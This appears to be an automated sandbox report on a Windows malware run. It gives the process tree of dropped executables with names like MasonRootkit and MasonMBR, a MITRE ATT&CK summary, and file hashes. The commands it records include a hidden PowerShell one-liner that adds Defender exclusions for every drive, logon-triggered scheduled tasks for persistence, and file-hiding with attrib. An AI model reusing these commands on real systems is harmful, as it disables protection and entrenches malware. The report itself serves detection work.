PID:4688 -
C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2964
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C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1408
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C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4720
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:1080
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2730.tmp.bat""3⤵
- Executes a command shell one-liner
PID:4452 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:6016
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C:\Windows\System32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
PID:1144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:2016
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2860
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1096 -
C:\Users\Admin\AppData\Local\Temp\nasser &&, badr.exe"C:\Users\Admin\AppData\Local\Temp\nasser &&, badr.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe" --r5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe" --wd 38806⤵
- Executes dropped EXE
PID:2260
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && S‡‘àvÂ¥&&¬º5÷mT ðü•€í*ò¾±†Dç‰[<uȃ"Æ‘<šÌÁ¶ð ˆPޱÀÙñècÛäR]äLMÎéù|Ó;Å›…#öå®Ò‡ÌQM“Œ‰‹¬ãyô¢2}xÅtÑÆÍ¿eºXŽŽŠKf(M5§~Û<xP⮈r¹Ë+ÜË5K©š}û5¾Ö+¸Œh]øµNÆÑJ$™Žz¾L[ó‡T/AÌ„g T ]îÉ åvT %(d×Uyc§ ç&è0©âdì; ÐÖø”çe ©_—-ñ*%q´Íq̹gC=$©ÁEÞgÆë†÷k´>m÷'i;U]=D¶:XJœ+#o{6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\system32\chcp.comchcp 650017⤵PID:2356
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"6⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Windows\system32\chcp.comchcp 650017⤵PID:1304
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4348
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "PrintServiceRuntime" /tr "\"C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe\"" /ru ""6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\system32\chcp.comchcp 650017⤵PID:4320
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "PrintServiceRuntime" /tr "\"C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe\"" /ru ""7⤵
- Scheduled Task/Job: Scheduled Task
PID:2376
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"6⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\system32\chcp.comchcp 650017⤵PID:5156
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe"7⤵
- Views/modifies file attributes
PID:4872
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && schtasks /create /tn "mu_3656_240785171" /tr "\"C:\Users\Admin\AppData\Local\Temp\Squidward.exe\"" /sc once /st 00:00 /f /it >nul 2>&1 && schtasks /run /tn "mu_3656_240785171" >nul 2>&1 && ping -n 3 127.0.0.1 >nul 2>&1 && schtasks /delete /tn "mu_3656_240785171" /f >nul 2>&16⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\system32\chcp.comchcp 650017⤵PID:4844
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C:\Windows\system32\schtasks.exeschtasks /create /tn "mu_3656_240785171" /tr "\"C:\Users\Admin\AppData\Local\Temp\Squidward.exe\"" /sc once /st 00:00 /f /it7⤵
- Scheduled Task/Job: Scheduled Task
PID:4352
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C:\Windows\system32\schtasks.exeschtasks /run /tn "mu_3656_240785171"7⤵PID:4004
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C:\Windows\system32\PING.EXEping -n 3 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4328
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C:\Windows\system32\schtasks.exeschtasks /delete /tn "mu_3656_240785171" /f7⤵PID:2056
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C:\Users\Admin\AppData\Local\Temp\Squidward.exe"C:\Users\Admin\AppData\Local\Temp\Squidward.exe"6⤵
- Executes dropped EXE
PID:2976 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
PID:3912
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2A1E.tmp.bat""7⤵
- Executes a command shell one-liner
PID:2392 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:3516
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C:\Windows\system32\timeout.exetimeout 38⤵
- Delays execution with timeout.exe
PID:2536
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:2024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:2076
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:2084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2112
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2208
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2368
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
- Modifies Internet Explorer settings
PID:2408 -
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004F82⤵
- Suspicious use of AdjustPrivilegeToken
PID:4692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2496
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C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵PID:4264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2656
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2896
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2992
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2484
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:3256
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3612
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:3676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:1328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:1104
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4412
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4652
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4816
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5136
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:5204
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:6136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:1456
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1976
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
PID:3276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4504
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4288
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C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe"C:\Users\Admin\AppData\Roaming\PrintServiceRuntime.exe"1⤵
- Executes dropped EXE
PID:6128
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
PID:2440
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C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding1⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3020 -
C:\Windows\SysWOW64\unregmp2.exe"C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon2⤵
- System Location Discovery: System Language Discovery
PID:2952 -
C:\Windows\system32\unregmp2.exe"C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT3⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:4300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost1⤵
- Drops file in Windows directory
PID:4552
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
5File/Path Exclusions
1Hidden Files and Directories
2Hidden Window
1Ignore Process Interrupts
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
2Clear Persistence
1Clear Windows Event Logs
1Modify Registry
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
- Size 640KB
- SHA256 8a8cd750a44caba93f19c937e41e0a95d093cb0f46445ddb3791a8a58e125131
- MD5 4e2fcc2b60f493145f6dac3bfc24680b
- SHA1 63f2bc06a7db91a98111262143baaf43eb55ce36
- SHA512 70f1977d5da3893882612c75e83bc35774760808ebf9345890d48b3180598e356897e3ea77c49b5a38a82c812c62f149bc581cb3583e19260f8e8a82185566c5
- SSDEEP 768:If0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr3UzfEwPRzitFrzAqUmNKX0AooJIr:INpZZ9tjYpktMGAKSohZC
- TLSH T1F6D430379660A088DF2C35B1E1EC5F0CBE72B00B12E052465F74A67E7A633C99D175EA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
- Size 1024KB
- SHA256 166003f4e6f8e0c6aa1e2b06efb6f8a56f1071d5a9eaee7aee495fd955ce4398
- MD5 972a30837840c4d1b3c503f0be436e3f
- SHA1 8e62671babbdaac1044cc0e63c026adeceb46db4
- SHA512 4719b73c47a32f31922b4c3eb765eb2eac48976a9bb8ed456c91e62a1cd8b52f95c13ffafc3297cd06ec29f2ad732eacc7565f855a685c4775eb123cd0297cfd
- SSDEEP 768:P0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX08oJImdbaf:BZP2tFP3vqY8NqEMUTaBacg
- TLSH T198258537D190B0C5CE2CB171E9ED8F09BA63B10B11A052465FF8957E7A533D98D0B1EA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.DTD
- Size 498B
- SHA256 644fbcdc20086e16d57f31c5bad98be68d02b1c061938d2f5f91cbe88c871fbf
- MD5 90be2701c8112bebc6bd58a7de19846e
- SHA1 a95be407036982392e2e684fb9ff6602ecad6f1e
- SHA512 d618b473b68b48d746c912ac5fc06c73b047bd35a44a6efc7a859fe1162d68015cf69da41a5db504dcbc4928e360c095b32a3b7792fcc6a38072e1ebd12e7cbe
- TLSH T15BF027AD4BE26C59323110903E78A0B0DD05F0B3645B3A6970CE5C7679E7D9C0407FD1
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
- Size 9KB
- SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
- MD5 7050d5ae8acfbe560fa11073fef8185d
- SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
- SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
- SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
- TLSH T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\PrintServiceRuntime.exe
- Size 643KB
- SHA256 c9a5664b921b9a86746511903610ef2cab53a205c6afee57342b9fd374df243d
- MD5 d7f36d82f1ca93725f45ae82caa8ec11
- SHA1 cde21f0798d6ee0c118d3999ac766475b4ba70a6
- SHA512 122bf190035c4c754ef00600ccf70fbceedadd5e9d3c3a3940c2d5c065b8b236cc92d42774f7dcf8e1f096219060484266161d4b9c0ecf090029ce1eb8da404e
- SSDEEP 6144:4mv8xz7Ko1+nlCpwEFABDKXI1XLUdoTF5+IOftHpGEFWYgKVeb8gE43FJDWGquGr:4I8xfK2qYdCWvgYpu8O3Fx9LGoe
- TLSH T1A8E4194AF653A1BCD52BC1718BAB6633B932BC1C4135797F4A14D77A7EA1E000638F26
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MasonGDI.exe
- Size 61KB
- SHA256 57eff2792a929b479b3e3bb9a25bbe750034dcba4213e2abb8865ff2268b53f6
- MD5 2f9823efd49a6f8fc32ba52d75e620a4
- SHA1 39f79bc2bba2f33f2e82da2dee4c8cf3be052b7e
- SHA512 2f68ddb1d7d070f7d8675791f8ccc3b9d73236834f1bc787afdf1074d4d17601f77e53a98024a12e29119c5c38333cd7f6200a186e2ba96fc4186c86ca2cb6ad
- SSDEEP 1536:PTynnng4PEIGZ5eqIXzgmYi/ZuPiDNG9j3+aOPw1WX6CjV9nu:9OFGfeZgmJ8POoOu1WX6CjS
- TLSH T13653F186E3B8C421D0F71333AD67E99413F5EAD69D56CA1F0A80935B6ED23464F21E1C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MasonMBR-SLEEP.exe
- Size 65KB
- SHA256 de93250a0f249700407cd893e1b4d6b167c5e909b4b8f09cbefbbae473f4ad93
- MD5 f006d2343d121bd2043925e87063fde7
- SHA1 402799473ca52edb826a37e0042456032db121f3
- SHA512 707c803508308fa0d002aa31187476cf1b000118f9b0d89982ab60a674de09f028ae860c3dbdad9fa902ee4e9d0771f8fa79e356bb2ae8bf4f2c57d61f3e68e0
- SSDEEP 1536:ToHs+RMT9qQPhcm7V0vppY62kxt+nl5Hr1lo/u:MHssMT9qQPSmyvB2cKl5L3P
- TLSH T1FC63F1129FE8026AC35F47B25DE573910F2ADE44DE06775F809182A18F49AC88773B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MasonMBR.exe
- Size 93KB
- SHA256 b7af0a09eac02f06abd483920e860d68d83b1cf4007edff6551b3f60fe990415
- MD5 dd216fcf116773c6a8c8e91b29751a1d
- SHA1 637ed4cf29c66c7e72c25c032c1f0dd3448c51e1
- SHA512 b41c5ac2884aa0fe5928c7cadc24517daf41854c61a27157a2d7b77f1a8dd984d9d66ab46fa882ba6731cf50b1746886a87410a18cf7fb51919ee462f6725c39
- SSDEEP 1536:CmwoXyoci5SjY3SaRO7IPqifrJxdhGZCJjmGasWhQcdQ5/hO2owMiDXw:Tv5MYRIMPqiTJx+ZqreRQ5/hXojiDXw
- TLSH T1D3936B43B5D28CB2E5B21D3108B1CAA15A2FB9210F658E6B6794136E5F380D09E35FB7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
- Size 161KB
- SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
- MD5 94f1ab3a068f83b32639579ec9c5d025
- SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
- SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
- SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
- TLSH T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Squidward.exe
- Size 535KB
- SHA256 2b6455abbf84755be4dcf840ebbfed9c480dced7bd74806bafee05465a5e752d
- MD5 82bf26203c5d76dfa3a591f1cb60d7b5
- SHA1 93bf418f64ec701fd0d3232a00a167d04ba9a6d2
- SHA512 6a896c274958467e18579affe68a2e0acb68ea633715920d244974765dbf577ce7558cb3dc467a69a656cb82c2f588565f71c4413b5dedc1005fba35303ed2f3
- SSDEEP 6144:yrjS60VNKrDqa3pPvX0RQ/FwiSs8k//M4zVRslxX4ci0MAM0bCrvVFs47Xeeeeen:4jST2/l3Z8O7Ss8k//XzVRUX4fnr9
- TLSH T136C4CF61A103D6E2E38D4BB46152D478152E1FE6679A160DEFC13F8B7DF12A128239CF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\tmp2730.tmp.bat
- Size 161B
- SHA256 7be5b292e2401134da84061d69dfb8389d7b7b3fe3c9dc9f7e4bcb238dcffd91
- MD5 74582902c139810a7eea9d17bef29d64
- SHA1 4b7f69fb2defb6d2bef266bbc810f2343845da53
- SHA512 dc63e46c70b3fba4598cac54588fae52423cb78f7d27f48622c9736fc937991a914d50d96a92d36865f632b7bbd64b9644e81e725be22040e7962d2bfc536bdf
- TLSH T137C08C0024CAFA2E290A682B11B6C18DC0A3AC0B2E866B9093588008298086CF5B8B05
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\tmp2A1E.tmp.bat
- Size 161B
- SHA256 634105f2c8cb0efb410a623c6def54cc06ba5e9a2c743277398794c39cf9aa98
- MD5 d45f44b620dcbe2c4dd1e569d527f7a0
- SHA1 6aed071aae43c35e495364f9bc8862abe2fc6dbb
- SHA512 d6a66cf468c00356767fe8bc98b84f42c32d7def1f21aa782b4f5e7668eb4cf59e82daf40629a57f2bb4f8bcbdbc703f74d7a36b76ffb97ea82c4ad8d825f832
- TLSH T12AC08C0024CAFA7F1A0AA82712B6C09DC0A25C4A3E866B5093598008298046CF5B8705
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\tmpF895.tmp
- Size 873KB
- SHA256 6a1e08d3a6759f42ea2480450bdf1f369bf50236ba1dc94cfddbf02b5dd7ecaa
- MD5 7bfe4475c45768860615d6cdc19dc622
- SHA1 d937f02f743833748dbc391211602c28f0eaca8f
- SHA512 64bb4d4ebc82a7509ded16677592dacb862bfbdbb9c06a871f7d051aa7a5c67c5a5358ddd3f44ca7922fd3f406a784c768737dddafc49075f496452b96597681
- SSDEEP 1536:qnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnns:D
- TLSH T175150FF06479EE53F39685397920FD2846D03499AAF3493A707DF9C8A373B60285C61B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
- Size 1KB
- SHA256 927a5f7d76ce9d25ca9f1c406cd1763c8f8dbe85ff99a0dbb000c22ddf3bafd7
- MD5 b7170b4a4dcb921039d3a84c30a1d63d
- SHA1 e82296e7870739e39c33e0df28997f61c7455dcb
- SHA512 dc76f6543c3aa4e5c39acb6e23eb1cf55f505402a44a9e4ca63b76368b87b56a2498cd1428fe0e49f343aa2fac7eee17ca3e800dce02240aa7437c2c49376d4a
- TLSH T115213A574A0AF4B5CD6287B368CC8A6773B6A7CB5354D015B38AE06A890213F273D17E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\74d7f43c1561fc1e.automaticDestinations-ms
- Size 1KB
- SHA256 6c3fc6af3ec613df9e46616ec92c3d026387b9a2f8cbfb3c3a28ac856a29fe61
- MD5 fc6a8a28effae87c03f584ca5eb1fdcc
- SHA1 e90cfbfd837515b49c9f7ac353d68ecf226bc158
- SHA512 0257114a77009da81c9c71766bc63ec8f3142843ea29f8823d09075f51ea19f993a5db7ec3fbc4201b0e93e0506f653662d06c37128b2c9286b9f9d5eec94dc5
- TLSH T130319B417224E617D15C1D779D01D5C497A57D10DD04E10B31DA774F0B314E0D464151
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\74d7f43c1561fc1e.customDestinations-ms
- Size 3KB
- SHA256 77a77298b728597ba73ce52cf5327c4976db81f37f2ff33673babc3ceac7358a
- MD5 22e9046e5e5ec3884178ecfbfd0d39c8
- SHA1 eed4ef9eaebc99541729386ab5cb642348b93086
- SHA512 3bde4109b65529b723fea95d017f71140eaa3ecacddc6ac5e1da500a1b5db12f32494601536442abbabb2e5c4b4d9ae712d8063e107222c2ff32bf31e705d3f5
- TLSH T1B2715110A3F5554AE0E18533BC3B6B02BB35B802EB19A78F414D514B1CB5900B97B7BF
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\74d7f43c1561fc1e.customDestinations-ms
- Size 1KB
- SHA256 4e283680213d5ed8e1619900255263cc550e3dc915b60e4c51d43e73e7aa05fd
- MD5 c6e6dfad457c1a15402c0a19f49c772c
- SHA1 7c6194cc19ba0439fc1d89d31f23b62caedfeeb8
- SHA512 ba49b17215b56cde31374c4ed31a785bfa0155ffc5336de4ac695e92edb79addd957e3a6a5d536054ec8bde045e667b38e335e25e21b9dcdd8c0024346f7120d
- TLSH T153310210A3E54649E0A68533BC376B027B31F801E71D978F414D514B1CA5900BA77BBB
- MD5 SHA1 SHA512 TLSH